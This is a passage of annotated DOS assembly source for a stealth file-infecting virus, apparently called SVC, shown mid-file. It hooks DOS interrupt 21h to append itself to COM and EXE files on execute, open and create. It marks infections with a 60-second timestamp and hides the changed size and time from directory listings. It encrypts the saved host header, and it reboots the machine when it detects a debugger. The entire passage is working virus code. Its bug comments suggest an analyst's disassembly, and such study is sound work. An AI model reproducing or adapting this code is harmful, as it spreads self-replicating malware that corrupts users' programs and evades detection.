  3420.                 mov     ah,byte ptr cs:[si+offset encryptval1]
  3421.                 mov     dh,byte ptr cs:[si+offset encryptval2]
  3422.                 add     si,offset savebuffer
  3423.                 call    decrypt
  3424.                 pop     si
  3425.                 pop     es
  3426.                 cld
  3427.                 cmp     cs:[si+offset savebuffer],'ZM'
  3428.                 je      returnEXE
  3429.                 mov     di,100h
  3430.                 push    cs
  3431.                 pop     ds
  3432.                 push    cs
  3433.                 pop     es
  3434.                 push    si
  3435.                 add     si,offset savebuffer
  3436.                 movsb
  3437.                 movsw
  3438.                 pop     si
  3439.                 mov     ax,100h
  3440.                 push    ax
  3441.                 mov     ax,word ptr cs:[si+offset storeAX]
  3442.                 retn
  3443. returnEXE:
  3444.                 mov     bx,es
  3445.                 add     bx,10h
  3446.                 add     bx,cs:[si+savebuffer+16h]
  3447.                 mov     word ptr cs:[si+jmpcs],bx
  3448.                 mov     bx,cs:[si+savebuffer+14h]
  3449.                 mov     word ptr cs:[si+jmpip],bx
  3450.                 mov     bx,es
  3451.                 mov     ds,bx
  3452.                 add     bx,10h
  3453.                 add     bx,cs:[si+savebuffer+0eh]
  3454.                 cli
  3455.                 mov     ss,bx
  3456.                 mov     sp,cs:[si+savebuffer+10h]
  3457.                 sti
  3458.                 mov     ax,word ptr cs:[si+offset storeAX]
  3459.                 db      0EAh                    ; jmp far ptr
  3460. jmpip           dw      0
  3461. jmpcs           dw      0
  3462.  
  3463. int21:
  3464.                 pushf
  3465.                 push    ax
  3466.                 push    bx
  3467.                 push    cx
  3468.                 push    dx
  3469.                 push    si
  3470.                 push    di
  3471.                 push    ds
  3472.                 push    es
  3473.                 mov     word ptr cs:int21command,ax
  3474.                 cmp     word ptr cs:int21command,4B03h ; load/no PSP
  3475.                 je      _load_noexecute
  3476.                 cmp     word ptr cs:int21command,4B01h ; load/no execute
  3477.                 je      _load_noexecute
  3478.                 cmp     word ptr cs:int21command,4B00h ; load/execute
  3479.                 je      _load_execute
  3480.                 cmp     ah,3Dh                  ; handle open
  3481.                 je      _handleopen
  3482.                 cmp     ah,3Eh                  ; handle close
  3483.                 je      _handleclose
  3484.                 cmp     ah,40h                  ; handle write
  3485.                 je      _handlewrite
  3486.                 cmp     ah,4Ch                  ; terminate
  3487.                 je      _terminate
  3488.                 jmp     short exitint21
  3489.                 nop
  3490. _terminate:
  3491.                 jmp     terminate
  3492. _handlewrite:
  3493.                 jmp     handlewrite
  3494. _load_noexecute:
  3495.                 jmp     load_noexecute
  3496. _handleclose:
  3497.                 jmp     handleclose
  3498. _handlecreate:
  3499.                 jmp     handlecreate
  3500. _load_execute:
  3501.                 jmp     load_execute
  3502. _handleopen:
  3503.                 jmp     handleopen
  3504. _FCBfindfirstnext:
  3505.                 jmp     FCBfindfirstnext
  3506. _ASCIIfindfirstnext:
  3507.                 jmp     ASCIIfindfirstnext
  3508. _handlegoEOF:
  3509.                 jmp     handlegoEOF
  3510. _handleopen2:
  3511.                 jmp     handleopen2
  3512. _handleread:
  3513.                 jmp     handleread
  3514. _getsetfiletime:
  3515.                 jmp     getsetfiletime
  3516.  
  3517. return:
  3518.                 retn
  3519.  
  3520. load_execute_exit:
  3521.                 call    restoreint24and23
  3522.                 jmp     short exitint21
  3523.                 nop
  3524.  
  3525. restoreint24and23:
  3526.                 xor     ax,ax
  3527.                 mov     ds,ax
  3528.                 mov     ax,cs:oldint24
  3529.                 mov     ds:24h*4,ax
  3530.                 mov     ax,cs:oldint24+2
  3531.                 mov     word ptr ds:24h*4+2,ax
  3532.                 mov     ax,cs:oldint23
  3533.                 mov     ds:23h*4,ax
  3534.                 mov     ax,cs:oldint23+2
  3535.                 mov     word ptr ds:23h*4+2,ax
  3536.                 retn
  3537.  
  3538. exitint21:
  3539.                 pop     es
  3540.                 pop     ds
  3541.                 pop     di
  3542.                 pop     si
  3543.                 pop     dx
  3544.                 pop     cx
  3545.                 pop     bx
  3546.                 pop     ax
  3547.                 cmp     ah,3Ch                  ; handlecreate
  3548.                 je      _handlecreate
  3549.                 cmp     ah,83h                  ; installation check for
  3550.                 je      old_installation_check  ; other versions of SVC
  3551.                 cmp     ah,84h                  ; installation check for
  3552.                 je      installation_check      ; this version of SVC
  3553.                 cmp     ah,4Eh                  ; find first?
  3554.                 je      _ASCIIfindfirstnext
  3555.                 cmp     ah,4Fh                  ; find next?
  3556.                 je      _ASCIIfindfirstnext
  3557.                 cmp     ah,11h                  ; find first
  3558.                 je      _FCBfindfirstnext
  3559.                 cmp     ah,12h                  ; find next
  3560.                 je      _FCBfindfirstnext
  3561.                 cmp     ax,4202h                ; go EOF
  3562.                 je      _handlegoEOF
  3563.                 cmp     ah,3Dh                  ; handle open
  3564.                 je      _handleopen2
  3565.                 cmp     ah,3Fh                  ; handle read
  3566.                 je      _handleread
  3567.                 cmp     ah,57h                  ; get/set file time
  3568.                 je      _getsetfiletime
  3569.                 popf                            ; chain to original int
  3570.                 jmp     dword ptr cs:oldint21   ; 21h handler
  3571.  
  3572. callint21:
  3573.                 cli
  3574.                 pushf
  3575.                 call    dword ptr cs:oldint21
  3576.                 retn
  3577.  
  3578. installation_check:
  3579.                 popf
  3580.                 mov     bh,cs:versionbyte
  3581.                 mov     ax,cs
  3582.                 xor     ax,0FFFFh
  3583.                 xchg    ah,al
  3584. common_installation_check_return:
  3585.                 mov     dx,1990h
  3586.                 iret
  3587.  
  3588. old_installation_check:
  3589.                 popf
  3590.                 jmp     short common_installation_check_return
  3591.  
  3592. popdsdx_return:
  3593.                 pop     dx
  3594.                 pop     ds
  3595.                 jmp     return
  3596.  
  3597. load_execute:
  3598.                 call    check_chkdsk
  3599.                 call    infectdsdx
  3600.                 jmp     load_execute_exit
  3601.  
  3602. infectdsdx:
  3603.                 call    setint24and23
  3604.                 jmp     short infectdsdx_continue
  3605.                 nop
  3606.  
  3607. setint24and23:
  3608.                 xor     ax,ax
  3609.                 mov     es,ax
  3610.                 les     ax,dword ptr es:24h*4
  3611.                 mov     cs:oldint24,ax
  3612.                 mov     cs:oldint24+2,es
  3613.                 xor     ax,ax
  3614.                 mov     es,ax
  3615.                 les     ax,dword ptr es:23h*4
  3616.                 mov     cs:oldint23,ax
  3617.                 mov     cs:oldint23+2,es
  3618.                 xor     ax,ax
  3619.                 mov     es,ax
  3620.                 mov     word ptr es:24h*4,offset int24
  3621.                 mov     word ptr es:24h*4+2,cs
  3622.                 mov     word ptr es:23h*4,offset int23
  3623.                 mov     word ptr es:23h*4+2,cs
  3624.                 retn
  3625.  
  3626. infectdsdx_continue:
  3627.                 push    ds
  3628.                 push    dx
  3629.                 cmp     byte ptr cs:tickcount,3Ch ; don't infect too early
  3630.                 jb      popdsdx_return          ; after previous one
  3631.                 mov     ax,4300h                ; get file attributes
  3632.                 call    callint21
  3633.                 jc      popdsdx_return
  3634.                 mov     cs:fileattr,cx
  3635.                 and     cl,0FEh                 ; turn off r/o bit
  3636.                 mov     ax,4301h                ; and reset file attributes
  3637.                 call    callint21
  3638.                 jc      popdsdx_return
  3639.                 mov     cx,cs:fileattr
  3640.                 and     cl,4                    ; test cl,4
  3641.                 cmp     cl,4                    ; check system attribute
  3642.                 je      infecthandle_exit       ; exit if set
  3643.                 mov     ax,3D02h                ; open file read/write
  3644.                 call    callint21
  3645.                 jc      infecthandle_exit
  3646.                 mov     bx,ax                   ; handle to bx
  3647.                 push    dx                      ; save file name pointer
  3648.                 mov     ax,5700h                ; get file time/date
  3649.                 call    callint21
  3650.                 pop     dx
  3651.                 and     cx,1Eh                  ; check if seconds = 60
  3652.                 cmp     cx,1Eh                  ; (infection marker)
  3653.                 jne     infect_dsdx_checkmo     ; continue if not so marked
  3654.                 jmp     short infecthandle_alreadyinfected
  3655.                 nop
  3656. infect_dsdx_checkmo:
  3657.                 call    check_command_com
  3658.                 jnc     infecthandle
  3659.                 jmp     short infecthandle_alreadyinfected
  3660.                 nop
  3661.  
  3662. check_command_com:
  3663.                 cld
  3664.                 mov     si,dx
  3665. check_command_com_loop:
  3666.                 lodsw
  3667.                 cmp     ax,'MM'                 ; COMMAND.COM?
  3668.                 je      check_command_com_yes
  3669.                 cmp     ax,'mm'
  3670.                 je      check_command_com_yes
  3671.                 cmp     ax,'MB'                 ; IBMBIO/IBMDOS?
  3672.                 je      check_command_com_yes
  3673.                 cmp     ax,'mb'
  3674.                 je      check_command_com_yes
  3675.                 cmp     ah,0
  3676.                 je      check_command_com_no
  3677.                 dec     si
  3678.                 jmp     short check_command_com_loop
  3679. check_command_com_yes:
  3680.                 stc
  3681.                 retn
  3682. check_command_com_no:
  3683.                 clc
  3684.                 retn
  3685.  
  3686. infecthandle_exit:
  3687.                 jmp     popdsdx_return
  3688. infecthandle:
  3689.                 cmp     bx,5                    ; check if handle too
  3690.                 jb      infecthandle_exit       ; small (predefined)
  3691.                 call    checkifinfected
  3692.                 jnc     infecthandle_alreadyinfected
  3693.                 call    infect_handle
  3694. infecthandle_alreadyinfected:
  3695.                 mov     ah,3Eh                  ; Close file
  3696.                 call    callint21
  3697.                 pop     dx
  3698.                 pop     ds
  3699.                 jc      infecthandle_exit2
  3700.                 mov     ax,4301h                ; restore file attributes
  3701.                 mov     cx,cs:fileattr
  3702.                 call    callint21
  3703. infecthandle_exit2:
  3704.                 jmp     return
  3705.  
  3706. infect_handle_exit:
  3707.                 jmp     infect_handle_error
  3708. infect_handle:
  3709.                 mov     ax,5700h                ; get file time/date
  3710.                 call    callint21
  3711.                 mov     cs:filetime,cx
  3712.                 mov     cs:filedate,dx
  3713.                 xor     cx,cx
  3714.                 xor     dx,dx
  3715.                 mov     ax,4200h                ; go to start of file
  3716.                 call    callint21
  3717.                 push    cs
  3718.                 pop     ds
  3719.                 mov     cx,18h                  ; read header
  3720.                 mov     dx,offset savebuffer
  3721.                 mov     ah,3Fh
  3722.                 call    callint21
  3723.                 jc      infect_handle_exit
  3724.                 push    cs
  3725.                 pop     es
  3726.                 push    cs
  3727.                 pop     ds
  3728.                 mov     si,offset savebuffer    ; copy to work buffer
  3729.                 mov     di,offset workbuffer
  3730.                 mov     cx,18h
  3731.                 cld
  3732.                 rep     movsb
  3733.                 mov     ax,2C00h
  3734.                 call    callint21
  3735.                 mov     byte ptr cs:encryptval2,dh
  3736.                 mov     byte ptr cs:encryptval1,dl
  3737.                 mov     ah,dl
  3738.                 mov     si,offset savebuffer
  3739.                 call    decrypt
  3740.                 cmp     cs:workbuffer,'ZM'      ; check if EXE
  3741.                 je      infect_handle_EXE
  3742.                 mov     cs:workbuffer,0E9h      ; encode the jmp
  3743.                 xor     cx,cx
  3744.                 xor     dx,dx
  3745.                 mov     ax,4202h                ; get file size
  3746.                 call    callint21
  3747.                 cmp     dx,0
  3748.                 jne     infect_handle_exit
  3749.                 cmp     ax,viruslength
  3750.                 jb      infect_handle_exit
  3751.                 cmp     ax,0EDE1h               ; check if too large
  3752.                 jae     infect_handle_exit
  3753.                 sub     ax,3                    ; adjust size to jmp location
  3754.                 mov     word ptr cs:workbuffer+1,ax
  3755.                 call    writevirusandheader     ; write virus to file
  3756.                 jmp     infect_handle_finish
  3757.  
  3758. writevirusandheader:
  3759.                 push    cs
  3760.                 pop     ds
  3761.                 xor     dx,dx
  3762.                 mov     cx,viruslength
  3763.                 mov     ah,40h                  ; concatenate virus
  3764.                 call    callint21
  3765.                 jc      writevirusandheader_exit
  3766.                 cmp     ax,viruslength
  3767.                 jne     writevirusandheader_exit
  3768.                 xor     cx,cx
  3769.                 xor     dx,dx
  3770.                 mov     ax,4200h                ; go to start of file
  3771.                 call    callint21
  3772.                 jc      writevirusandheader_exit
  3773.                 mov     dx,offset workbuffer    ; write new header to file
  3774.                 mov     ah,40h
  3775.                 mov     cx,18h
  3776.                 call    callint21
  3777.                 retn
  3778. writevirusandheader_exit:
  3779.                 stc
  3780.                 retn
  3781.  
  3782. infect_handle_EXE:
  3783.                 xor     cx,cx                   ; go to end of file
  3784.                 xor     dx,dx
  3785.                 mov     ax,4202h
  3786.                 call    callint21
  3787.                 push    dx                      ; save file size
  3788.                 push    ax
  3789.                 mov     si,ax
  3790.                 xor     ax,ax
  3791.                 xchg    ax,dx
  3792.                 mov     di,1000h
  3793.                 mul     di
  3794.                 mov     dx,ax
  3795.                 mov     ax,si
  3796.                 mov     si,dx
  3797.                 xor     dx,dx
  3798.                 mov     di,10h                  ; convert to paragraphs
  3799.                 div     di
  3800.                 add     ax,si
  3801.                 xchg    ax,dx
  3802.                 sub     dx,cs:workbuffer+8      ; subtract header size
  3803.                 mov     word ptr cs:workbuffer+16h,dx ; insert new initial
  3804.                 mov     word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
  3805.                 pop     ax
  3806.                 pop     dx
  3807.                 add     ax,viruslength          ; calculate new image
  3808.                 adc     dx,0                    ; size mod 512 and div 512
  3809.                 mov     di,200h
  3810.                 div     di
  3811.                 cmp     dx,0
  3812.                 je      infect_handle_EXE_nofixup
  3813.                 add     ax,1                    ; pagelength fixup
  3814. infect_handle_EXE_nofixup:
  3815.                 mov     cs:workbuffer+4,ax
  3816.                 mov     cs:workbuffer+2,dx
  3817.                 mov     ds,word ptr cs:workbuffer+16h ; insert new SS:SP
  3818.                 mov     word ptr cs:workbuffer+0Eh,ds
  3819.                 mov     ax,word ptr cs:workbuffer+14h
  3820.                 add     ax,17D7h
  3821.                 mov     word ptr cs:workbuffer+10h,ax
  3822.                 call    writevirusandheader     ; write virus to file
  3823.                 jmp     short infect_handle_finish
  3824.                 nop
  3825. infect_handle_error:
  3826.                 stc
  3827. infect_handle_finish:
  3828.                 mov     ax,5701h                ; restore file time/date
  3829.                 mov     cx,cs:filetime
  3830.                 mov     dx,cs:filedate
  3831.                 jc      infect_handle_noreset
  3832.                 and     cx,0FFFEh               ; but set seconds to
  3833.                 or      cx,1Eh                  ; 60
  3834.                 mov     byte ptr cs:tickcount,0 ; reset tickcount
  3835. infect_handle_noreset:
  3836.                 call    callint21
  3837.                 retn
  3838.  
  3839. int23:
  3840.                 iret
  3841. int24:
  3842.                 mov     al,3
  3843.                 iret
  3844.  
  3845. load_noexecute_exit:
  3846.                 jmp     load_noexecute_closeexit
  3847. load_noexecute:
  3848.                 call    setint24and23
  3849.                 push    ds
  3850.                 push    dx
  3851.                 mov     ax,4300h                ; get file attributes
  3852.                 call    callint21
  3853.                 jc      load_noexecute_exit
  3854.                 mov     cs:fileattr,cx
  3855.                 and     cl,0FEh                 ; turn off r/o bit
  3856.                 mov     ax,4301h                ; reset attributes
  3857.                 call    callint21
  3858.                 jc      load_noexecute_exit
  3859.                 mov     ax,3D02h                ; open file read/write
  3860.                 call    callint21
  3861.                 jc      load_noexecute_exit
  3862.                 mov     bx,ax                   ; handle to bx
  3863.                 call    checkifinfected
  3864.                 jc      load_noexecute_exit
  3865.                 jmp     short load_noexecute_disinfect
  3866.                 nop
  3867. checkifinfected_exit:
  3868.                 stc                             ; mark infected
  3869.                 retn                            ; and exit
  3870.  
  3871. checkifinfected:
  3872.                 mov     ax,5700h                ; get file time/date
  3873.                 call    callint21
  3874.                 mov     cs:filedate,dx
  3875.                 mov     cs:filetime,cx
  3876.                 and     cx,1Fh
  3877.                 cmp     cx,1Eh
  3878.                 jne     checkifinfected_exit
  3879.                 xor     cx,cx
  3880.                 xor     dx,dx
  3881.                 mov     ax,4202h                ; go to end of file
  3882.                 call    callint21
  3883.                 jc      checkifinfected_exit
  3884.                 mov     cs:filesizelo,ax        ; save filesize
  3885.                 mov     cs:filesizehi,dx
  3886.                 sub     ax,endvirus - infection_marker
  3887.                 sbb     dx,0
  3888.                 mov     cx,ax
  3889.                 xchg    cx,dx
  3890.                 mov     ax,4200h                ; rewind to infection
  3891.                 call    callint21               ; marker
  3892.                 jc      checkifinfected_exit
  3893.                 push    cs
  3894.                 pop     ds
  3895.                 mov     ah,3Fh                  ; read file
  3896.                 mov     cx,3
  3897.                 mov     dx,offset savebuffer
  3898.                 call    callint21
  3899.                 jc      checkifinfected_exit
  3900.                 push    cs
  3901.                 pop     es
  3902.                 mov     si,offset savebuffer    ; check for infection
  3903.                 mov     di,offset infection_marker
  3904.                 mov     cx,3                    ; marker
  3905.                 repne   cmpsb
  3906.                 jnz     checkifinfected_exit
  3907.                 clc                             ; mark not infected
  3908.                 retn                            ; and exit
  3909.  
  3910. load_noexecute_disinfect:
  3911.                 call    disinfect
  3912.                 jmp     load_noexecute_closeexit
  3913.  
  3914. disinfect_exit:
  3915.                 jmp     disinfect_error
  3916. disinfect:
  3917.                 mov     dx,cs:filesizelo
  3918.                 mov     cx,cs:filesizehi
  3919.                 sub     dx,75h                  ; go to savebuffer
  3920.                 nop
  3921.                 sbb     cx,0
  3922.                 mov     ax,4200h
  3923.                 call    callint21
  3924.                 jc      disinfect_exit
  3925.                 jmp     short disinfect_file
  3926.                 nop
  3927.  
  3928.                 jmp     load_noexecute_closeexit
  3929. disinfect_file:
  3930.                 push    cs
  3931.                 pop     ds
  3932.                 mov     ah,3Fh                  ; Read carrier's
  3933.                 mov     cx,18h                  ; original header
  3934.                 mov     dx,offset savebuffer
  3935.                 push    cs
  3936.                 pop     ds
  3937.                 call    callint21
  3938.                 jc      disinfect_exit
  3939.                 mov     dx,cs:filesizelo        ; go to decryption
  3940.                 mov     cx,cs:filesizehi        ; values
  3941.                 sub     dx,endvirus - encryptval1
  3942.                 nop
  3943.                 sbb     cx,0
  3944.                 mov     ax,4200h
  3945.                 call    callint21
  3946.                 mov     dx,offset encryptval1
  3947.                 mov     ah,3Fh                  ; read decryption values
  3948.                 mov     cx,2
  3949.                 call    callint21
  3950.                 mov     si,offset savebuffer
  3951.                 mov     ah,byte ptr cs:encryptval1
  3952.                 mov     dh,byte ptr cs:encryptval2
  3953.                 call    decrypt                 ; decrypt old header
  3954.                 xor     cx,cx
  3955.                 xor     dx,dx
  3956.                 mov     ax,4200h
  3957.                 call    callint21
  3958.                 jc      disinfect_error
  3959.                 mov     ah,40h                  ; Write old header to
  3960.                 mov     cx,18h                  ; file
  3961.                 mov     dx,offset savebuffer
  3962.                 call    callint21
  3963.                 jc      disinfect_error
  3964.                 mov     dx,cs:filesizelo
  3965.                 mov     cx,cs:filesizehi
  3966.                 sub     dx,viruslength
  3967.                 sbb     cx,0                    ; go to end of carrier
  3968.                 mov     ax,4200h                ; file and
  3969.                 call    callint21
  3970.                 jc      disinfect_error
  3971.                 mov     ah,40h                  ; truncate file
  3972.                 xor     cx,cx                   ; at current position
  3973.                 call    callint21
  3974.                 jc      disinfect_error
  3975.                 mov     ax,5701h                ; restore file time/date
  3976.                 mov     dx,cs:filedate
  3977.                 mov     cx,cs:filetime
  3978.                 xor     cx,1Fh
  3979.                 call    callint21
  3980.                 retn
  3981. disinfect_error:
  3982.                 stc                             ; mark error
  3983.                 retn
  3984.  
  3985. load_noexecute_closeexit:
  3986.                 mov     ah,3Eh                  ; Close file and
  3987.                 call    callint21
  3988.                 mov     ax,4301h                ; restore attributes
  3989.                 mov     cx,offset fileattr      ; BUG!!!
  3990.                 pop     dx
  3991.                 pop     ds
  3992.                 call    callint21
  3993.                 call    restoreint24and23
  3994.                 jmp     exitint21
  3995.  
  3996. FCBfindfirstnext:
  3997.                 call    dword ptr cs:oldint21   ; prechain
  3998.                 pushf
  3999.                 pop     cs:returnFlags
  4000.                 cmp     al,0FFh
  4001.                 je      FCBfindfirstnext_exit
  4002.                 cmp     cs:chkdskflag,0
  4003.                 jne     FCBfindfirstnext_exit
  4004.                 push    ax
  4005.                 push    bx
  4006.                 push    cx
  4007.                 push    dx
  4008.                 push    es
  4009.                 push    ds
  4010.                 mov     ah,2Fh                  ; Get DTA
  4011.                 call    callint21
  4012.                 cmp     word ptr es:[bx],0FFh   ; extended FCB?
  4013.                 jne     FCBfindfirstnext_noextendedFCB
  4014.                 add     bx,8                    ; convert if so
  4015. FCBfindfirstnext_noextendedFCB:
  4016.                 mov     ax,es:[bx+16h]
  4017.                 and     ax,1Fh                  ; check if seconds = 60
  4018.                 cmp     ax,1Eh
  4019.                 jne     FCBfindfirstnext_notinfected
  4020.                 xor     word ptr es:[bx+16h],1Fh; fix seconds field
  4021.                 sub     word ptr es:[bx+1Ch],viruslength
  4022.                 sbb     word ptr es:[bx+1Eh],0  ; shrink size
  4023. FCBfindfirstnext_notinfected:
  4024.                 pop     ds
  4025.                 pop     es
  4026.                 pop     dx
  4027.                 pop     cx
  4028.                 pop     bx
  4029.                 pop     ax
  4030. FCBfindfirstnext_exit:
  4031.                 pop     cs:storesIP
  4032.                 pop     cs:storesCS
  4033.                 popf
  4034.                 push    cs:returnFlags
  4035.                 push    cs:storesCS
  4036.                 push    cs:storesIP
  4037.                 iret
  4038.  
  4039. ASCIIfindfirstnext:
  4040.                 call    dword ptr cs:oldint21   ; prechain
  4041.                 pushf
  4042.                 pop     cs:returnFlags
  4043.                 jc      ASCIIfindfirstnext_exit
  4044.                 cmp     cs:chkdskflag,0
  4045.                 jne     ASCIIfindfirstnext_exit
  4046.                 push    ax
  4047.                 push    bx
  4048.                 push    cx
  4049.                 push    dx
  4050.                 push    es
  4051.                 push    ds
  4052.                 mov     ah,2Fh                  ; Get DTA
  4053.                 call    callint21
  4054.                 mov     ax,es:[bx+16h]          ; get file time
  4055.                 and     ax,1Fh                  ; to check if file
  4056.                 cmp     ax,1Eh                  ; infected
  4057.                 jne     ASCIIfindfirstnext_notinfected
  4058.                 xor     word ptr es:[bx+16h],1Fh        ; hide time change
  4059.                 sub     word ptr es:[bx+1Ah],viruslength; and file length
  4060.                 sbb     word ptr es:[bx+1Ch],0          ; change
  4061. ASCIIfindfirstnext_notinfected:
  4062.                 pop     ds
  4063.                 pop     es
  4064.                 pop     dx
  4065.                 pop     cx
  4066.                 pop     bx
  4067.                 pop     ax
  4068. ASCIIfindfirstnext_exit:
  4069.                 pop     cs:storesIP
  4070.                 pop     cs:storesCS
  4071.                 popf
  4072.                 push    cs:returnFlags
  4073.                 push    cs:storesCS
  4074.                 push    cs:storesIP
  4075.                 iret
  4076. handleopen:
  4077.                 call    check_infectok
  4078.                 jnc     handleopen_continue
  4079.                 jmp     exitint21
  4080.  
  4081. check_infectok:
  4082.                 cld
  4083.                 mov     si,dx
  4084.                 lodsw
  4085.                 cmp     ah,':'
  4086.                 jne     check_infectok_nodrive
  4087.                 cmp     al,'a'                  ; make sure not floppy
  4088.                 je      check_infectok_exit
  4089.                 cmp     al,'A'
  4090.                 je      check_infectok_exit
  4091.                 cmp     al,'B'
  4092.                 jb      check_infectok_exit     ; BUG
  4093.                 cmp     al,'b'
  4094.                 je      check_infectok_exit
  4095.                 jmp     short check_extension
  4096.                 nop
  4097. check_infectok_exit:
  4098.                 jmp     short check_extension_notok
  4099.                 nop
  4100. check_infectok_nodrive:
  4101.                 mov     ah,19h                  ; get default drive
  4102.                 call    callint21
  4103.                 cmp     al,2                    ; make sure not floppy
  4104.                 jae     check_extension
  4105.                 jmp     short check_extension_notok
  4106.                 db      90h
  4107.  
  4108. check_extension:
  4109.                 cld
  4110.                 mov     si,dx
  4111. check_extension_findextension:
  4112.                 lodsb
  4113.                 cmp     al,'.'
  4114.                 je      check_extension_foundextension
  4115.                 cmp     al,0
  4116.                 jne     check_extension_findextension
  4117.                 jmp     short check_extension_notok
  4118.                 db      90h
  4119. check_extension_foundextension:
  4120.                 lodsw
  4121.                 cmp     ax,'OC'
  4122.                 je      check_extension_checkcom
  4123.                 cmp     ax,'oc'
  4124.                 je      check_extension_checkcom
  4125.                 cmp     ax,'XE'
  4126.                 je      check_extension_checkexe
  4127.                 cmp     ax,'xe'
  4128.                 je      check_extension_checkexe
  4129.                 jmp     short check_extension_notok
  4130.                 db      90h
  4131. check_extension_checkcom:
  4132.                 lodsb
  4133.                 cmp     al,'M'
  4134.                 je      check_extension_ok
  4135.                 cmp     al,'m'
  4136.                 je      check_extension_ok
  4137.                 jmp     short check_extension_notok
  4138.                 db      90h
  4139. check_extension_checkexe:
  4140.                 lodsb
  4141.                 cmp     al,'E'
  4142.                 je      check_extension_ok
  4143.                 cmp     al,'e'
  4144.                 je      check_extension_ok
  4145.                 jmp     short check_extension_notok
  4146.                 db      90h
  4147. check_extension_ok:
  4148.                 clc
  4149.                 retn
  4150. check_extension_notok:
  4151.                 stc
  4152.                 retn
  4153.  
  4154. handleopen_continue:
  4155.                 call    infectdsdx
  4156.                 call    restoreint24and23
  4157.                 jmp     exitint21
  4158. handlecreate:
  4159.                 mov     word ptr cs:storess,ss  ; preserve ss and sp
  4160.                 mov     word ptr cs:storesp,sp
  4161.                 call    dword ptr cs:oldint21
  4162.                 cli
  4163.                 mov     ss,word ptr cs:storess
  4164.                 mov     sp,word ptr cs:storesp
  4165.                 sti
  4166.                 pop     cs:returnFlags          ; save return flags
  4167.                 pushf
  4168.                 push    ax
  4169.                 push    bx
  4170.                 push    cx
  4171.                 push    ds
  4172.                 push    es
  4173.                 push    si
  4174.                 push    di
  4175.                 jc      handlecreate_exit
  4176.                 push    dx
  4177.                 push    ax
  4178.                 call    check_extension
  4179.                 pop     ax
  4180.                 pop     dx
  4181.                 jc      handlecreate_exit
  4182.                 push    ax
  4183.                 call    check_command_com
  4184.                 pop     ax
  4185.                 jc      handlecreate_exit
  4186.                 mov     cs:handletoinfect,ax    ; save handle to infect
  4187.                                                 ; upon close
  4188. handlecreate_exit:
  4189.                 pop     di
  4190.                 pop     si
  4191.                 pop     es
  4192.                 pop     ds
  4193.                 pop     cx
  4194.                 pop     bx
  4195.                 pop     ax
  4196.                 jmp     exit_replaceflags
  4197. handleclose_exit:
  4198.                 mov     cs:filehand,0
  4199.                 jmp     exitint21
  4200.  
  4201. handleclose:
  4202.                 cmp     bx,0
  4203.                 jne     handleclose_continue
  4204.                 jmp     exitint21
  4205. handleclose_continue:
  4206.                 cmp     bx,cs:handletoinfect
  4207.                 je      handleclose_infect
  4208.                 cmp     bx,cs:filehand
  4209.                 je      handleclose_exit
  4210.                 jmp     exitint21
  4211. handleclose_infect:
  4212.                 mov     ah,45h                  ; Duplicate file handle
  4213.                 call    callint21
  4214.                 jc      handleclose_infect_exit
  4215.                 xchg    ax,bx
  4216.                 call    setint24and23
  4217.                 call    handleclose_infecthandle
  4218.                 call    restoreint24and23
  4219. handleclose_infect_exit:
  4220.                 mov     cs:handletoinfect,0
  4221.                 jmp     exitint21
  4222.  
  4223. handleclose_infecthandle:
  4224.                 push    ds
  4225.                 push    dx
  4226.                 jmp     infecthandle
  4227.  
  4228. int8:
  4229.                 push    ax
  4230.                 push    ds
  4231.                 pushf
  4232.                 cmp     byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
  4233.                 je      int8checkint1
  4234.                 inc     cs:tickcount            ; one mo tick
  4235. int8checkint1:
  4236.                 xor     ax,ax
  4237.                 mov     ds,ax
  4238.                 cmp     word ptr ds:1*4,offset int1 ; int 1 changed?
  4239.                 jne     int8setint1                 ; fix it if so
  4240.                 mov     ax,cs
  4241.                 cmp     word ptr ds:1*4+2,ax
  4242.                 jne     int8setint1
  4243. int8checkint3:
  4244.                 cmp     word ptr ds:3*4,offset int3 ; int 3 changed?
  4245.                 jne     int8setint3                 ; fix it if so
  4246.                 mov     ax,cs
  4247.                 cmp     word ptr ds:3*4+2,ax
  4248.                 jne     int8setint3
  4249. exitint8:
  4250.                 popf
  4251.                 pop     ds
  4252.                 pop     ax
  4253.                 jmp     dword ptr cs:oldint8
  4254.  
  4255. int8setint1:
  4256.                 push    es
  4257.                 les     ax,dword ptr ds:1*4
  4258.                 mov     cs:oldint1,ax
  4259.                 mov     word ptr cs:oldint1+2,es
  4260.                 mov     word ptr ds:1*4,offset int1
  4261.                 mov     word ptr ds:1*4+2,cs
  4262.                 pop     es
  4263.                 jmp     short int8checkint3
  4264. int8setint3:
  4265.                 push    es
  4266.                 les     ax,dword ptr ds:3*4
  4267.                 mov     cs:oldint3,ax
  4268.                 mov     word ptr cs:oldint3+2,es
  4269.                 mov     word ptr ds:3*4,offset int3
  4270.                 mov     word ptr ds:3*4+2,cs
  4271.                 pop     es
  4272.                 jmp     short exitint8
  4273.  
  4274. int3:                                           ; reboot if debugger
  4275.                 push    bp                      ; is active
  4276.                 push    ax
  4277.                 mov     bp,sp
  4278.                 add     bp,6
  4279.                 mov     bp,[bp]
  4280.                 mov     ax,cs
  4281.                 cmp     bp,ax
  4282.                 pop     ax
  4283.                 pop     bp
  4284.                 jz      reboot
  4285.                 jmp     dword ptr cs:oldint3
  4286.  
  4287. exitint1:
  4288.                 iret
  4289.  
  4290. int1:
  4291.                 push    bp                      ; this routine doesn't
  4292.                 push    ax                      ; do very much that's
  4293.                 mov     bp,sp                   ; meaningful
  4294.                 add     bp,6
  4295.                 mov     bp,[bp]
  4296.                 mov     ax,cs
  4297.                 cmp     bp,ax
  4298.                 pop     ax
  4299.                 pop     bp
  4300.                 jz      exitint1
  4301.                 jmp     dword ptr cs:oldint1
  4302. reboot:
  4303.                 db      0EAh                    ; jmp F000:FFF0
  4304.                 db      0F0h, 0FFh, 0, 0F0h     ; (reboot)
  4305.  
  4306. decrypt:
  4307.                 push    bx
  4308.                 push    es
  4309.                 call    decrypt_next
  4310. decrypt_next:
  4311.                 pop     bx
  4312.                 mov     byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
  4313.                 nop
  4314.                 mov     byte ptr cs:[bx+19h],2   ; add dh,ah -> add ah,dh
  4315.                 nop
  4316.                 push    ds
  4317.                 pop     es
  4318.                 mov     di,si
  4319.                 mov     cx,18h
  4320.                 cld
  4321. decrypt_loop:
  4322.                 lodsb
  4323.                 db      0FFh, 0C4h              ; inc sp
  4324.                 stosb
  4325.                 db      0, 0E6h                 ; add dh,ah
  4326.                 loop    decrypt_loop
  4327.  
